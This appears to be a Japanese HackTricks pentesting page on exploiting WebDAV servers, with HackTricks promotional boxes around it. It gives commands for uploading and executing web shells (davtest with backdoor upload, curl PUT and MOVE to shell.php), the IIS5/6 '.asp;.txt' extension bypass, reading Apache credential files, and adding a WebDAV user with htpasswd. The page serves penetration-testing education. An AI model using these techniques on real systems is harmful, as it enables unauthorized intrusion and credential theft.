WebDav
Reading time: 7 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
WebDavが有効なHTTPサーバーを扱う際、正しい認証情報があればファイルを操作することが可能です。通常、これはHTTP Basic Authenticationを通じて確認されます。このようなサーバーを制御するには、しばしばウェブシェルのアップロードと実行が関与します。
WebDavサーバーへのアクセスには通常、有効な認証情報が必要であり、WebDavブルートフォースはそれを取得する一般的な方法です。
ファイルのアップロードに対する制限、特にサーバーサイドスクリプトの実行を防ぐ制限を克服するために、次のことができます:
- 制限がない場合、実行可能な拡張子を持つファイルを直接アップロードする。
- アップロードした非実行可能ファイル(.txtなど)の名前を実行可能な拡張子に変更する。
- アップロードした非実行可能ファイルをコピーし、その拡張子を実行可能なものに変更する。
DavTest
Davtestは異なる拡張子を持ついくつかのファイルをアップロードし、その拡張子が実行されるかどうかを確認します:
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
これは、.txtおよび**.html拡張子が実行されていることを意味するわけではありません。これは、ウェブを通じてこれらのファイルにアクセスできる**ことを意味します。
Cadaver
このツールを使用して、WebDavサーバーに手動で接続し、アクション(アップロード、移動、または削除など)を実行できます。
cadaver <IP>
PUT リクエスト
curl -T 'shell.txt' 'http://$ip'
MOVE リクエスト
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'
IIS5/6 WebDav 脆弱性
この脆弱性は非常に興味深いです。WebDavは**.asp拡張子のファイルをアップロードまたは名前変更することを許可しません**。しかし、名前の末尾に**";.txt"を追加することでバイパスすることができ、ファイルはあたかも .asp ファイルのように実行されます(".txt"の代わりに".html"を使用することもできますが、";"**を忘れないでください)。
その後、あなたはシェルを**".txt"ファイルとしてアップロードし、".asp;.txt"ファイルにコピー/移動**することができます。そのファイルにウェブサーバーを通じてアクセスすると、実行されます(cadaverは移動アクションが機能しなかったと言いますが、実際には機能しました)。
資格情報の後処理
WebdavがApacheサーバーを使用している場合、Apacheで構成されたサイトを確認する必要があります。一般的には:
/etc/apache2/sites-enabled/000-default
その中には次のようなものが見つかるかもしれません:
ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user
ご覧のとおり、webdav サーバーの有効な credentials が含まれているファイルがあります:
/etc/apache2/users.password
このタイプのファイルの中には、username と hash のパスワードが含まれています。これらは、webdav サーバーがユーザーを認証するために使用している資格情報です。
これらを crack するか、何らかの理由で webdav サーバーに access したい場合は、add more を試みることができます。
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password
新しい資格情報が機能しているか確認するには、次のことを行うことができます:
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q
参考文献
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。